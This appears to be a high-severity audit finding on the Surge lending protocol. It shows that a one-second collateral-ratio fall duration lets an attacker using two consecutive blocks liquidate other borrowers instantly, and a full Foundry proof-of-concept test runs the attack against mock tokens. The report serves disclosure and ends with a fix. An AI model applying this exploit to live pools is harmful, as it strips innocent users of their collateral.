Respx

high

# Pools can be created that can be liquidated instantly

## Summary
A pool can be created with a surge duration (`COLLATERAL_RATIO_FALL_DURATION`) of one second. All the other parameters of the pool can be standard.

An attacker can have a reasonable expectation of being able to put two transactions in consecutive blocks by using Flashbots or being a miner/validator.

## Vulnerability Detail
With transactions in two consecutive blocks, an attacker can do the following:
### First Block
Push the pool into surge status by adding loan/collateral tokens and borrowing at the maximum rate and then withdrawing large numbers of loan tokens. This can push the utilisation rate past the surge threshhold.
### Second Block
As the fall duration is only one second, the collateralisation rate will now be at minimum (`MIN_RATE`), which could well be zero. The attacker now liquidates all of the positions of all other users and withdraws all of their own tokens.
A proof of concept of this attack is below. Add to `Pool.t.sol`:
```Solidity
    function testInstantDrop() external {
        address alice = 0xaAaAaAaaAaAaAaaAaAAAAAAAAaaaAaAaAaaAaaAa;
        address bob = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB;
        address cynthia = 0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC;
        address davros = 0xDDdDddDdDdddDDddDDddDDDDdDdDDdDDdDDDDDDd;

        uint amount = 1e18;
        MockERC20 collateralToken = new MockERC20(amount, 18);
        MockERC20 loanToken = new MockERC20(amount * 2, 18);
        Pool pool = factory.deploySurgePool(
            IERC20(address(collateralToken)), 
            IERC20(address(loanToken)), 
            50e18, // _maxCollateralRatioMantissa
            0.8e18, // _surgeMantissa
            1, // _collateralRatioFallDuration << NOTE
            1e15, // _collateralRatioRecoveryDuration
            0.1e18, // _minRateMantissa
            0.4e18, // _surgeRateMantissa
            0.6e18 // _maxRateMantissa
        );

        loanToken.transfer(alice, 1_000);
        loanToken.transfer(davros, 10_000);
        collateralToken.transfer(alice, 1_000);
        collateralToken.transfer(bob, 1_000);
        collateralToken.transfer(cynthia, 1_000);
        collateralToken.transfer(davros, 1_000);

        // Alice provides some loan tokens
        vm.startPrank(alice);
        loanToken.approve(address(pool), type(uint).max);
        pool.deposit(1_000);
        vm.stopPrank();

        emit log_named_uint("UTIL:",lens.getUtilizationMantissa(address(pool)));

        // Bob borrows at 30:1 (well below max)
        vm.startPrank(bob);
        collateralToken.approve(address(pool), type(uint).max);
        pool.addCollateral(bob, 10);
        pool.borrow(300);
        vm.stopPrank();

        // Cynthia borrows at 10:1 (deeply below max)
        vm.startPrank(cynthia);
        collateralToken.approve(address(pool), type(uint).max);
        pool.addCollateral(cynthia, 20);
        pool.borrow(200);
        vm.stopPrank();

        emit log_named_uint("UTIL:",lens.getUtilizationMantissa(address(pool)));

        // All is well. Move forward 10 seconds
        skip(10);

        // Now Davros enters the scene. He knows that he can get the first transaction in the
        // next block.
        // He wants to push up the utilisation rate.
        // He deposits some more loan tokens and borrows on them at max rate.
        vm.startPrank(davros);
        loanToken.approve(address(pool), type(uint).max);
        pool.deposit(9_500);
        collateralToken.approve(address(pool), type(uint).max);
        pool.addCollateral(davros, 90); // borrows at max rate (50:1)
        pool.borrow(4_500);
        pool.withdraw(5_500); // withdraw all available tokens
        vm.stopPrank();

        // We now have 100% utilisation
        uint maxUtil = lens.getUtilizationMantissa(address(pool));
        assertEq(maxUtil, 1e18);

        emit log_named_uint("UTIL:",maxUtil);
        emit log_named_uint("COL:",lens.getCollateralRatioMantissa(address(pool)));


        // We advance 1 second
        skip(1);

        emit log_named_uint("COL:",lens.getCollateralRatioMantissa(address(pool)));

        //Davros comes in fast, as expected
        vm.startPrank(davros);
        emit log_named_uint("DAVROS LOAN:",loanToken.balanceOf(davros));
        emit log_named_uint("DAVROS COLLATERAL:",collateralToken.balanceOf(davros));
        pool.liquidate(bob, type(uint).max);
        emit log_named_uint("DAVROS LOAN:",loanToken.balanceOf(davros));
        emit log_named_uint("DAVROS COLLATERAL:",collateralToken.balanceOf(davros));
        pool.liquidate(cynthia, type(uint).max);
        emit log_named_uint("DAVROS LOAN:",loanToken.balanceOf(davros));
        emit log_named_uint("DAVROS COLLATERAL:",collateralToken.balanceOf(davros));
        pool.liquidate(davros, type(uint).max);
        emit log_named_uint("DAVROS LOAN:",loanToken.balanceOf(davros));
        emit log_named_uint("DAVROS COLLATERAL:",collateralToken.balanceOf(davros));
        pool.withdraw(type(uint).max);
        emit log_named_uint("DAVROS LOAN:",loanToken.balanceOf(davros));
        emit log_named_uint("DAVROS COLLATERAL:",collateralToken.balanceOf(davros));
        vm.stopPrank();

        // Davros has acquired 30 collateral tokens for 500 loan tokens.
        // That is a price of just 16.7. bob and cynthia lose all their collateral in one second.

        // alice can still withdraw. Her loan tokens are fine.
        vm.startPrank(alice);
        pool.withdraw(type(uint).max);
        vm.stopPrank();

    }
```

## Impact
Users can be liquidated without warning, losing their collateral tokens at a potentially great loss. The more cautious the user, the heavier their loss would be.

## Code Snippet
https://github.com/Surge-fi/surge-protocol-v1/blob/b7cb1dc2a2dcb4bf22c765a4222d7520843187c6/src/Pool.sol#L61
The minimum value for `COLLATERAL_RATIO_FALL_DURATION` is set at 1 second on this line.

## Tool used

Manual Review

## Recommendation
Implement a higher minimum `COLLATERAL_RATIO_FALL_DURATION` in `Pool.sol` to prevent instant liquidations. Rapid liquidations will still be a threat, however. Attempt to educate users about the impact of the fall duration to mitigate this.
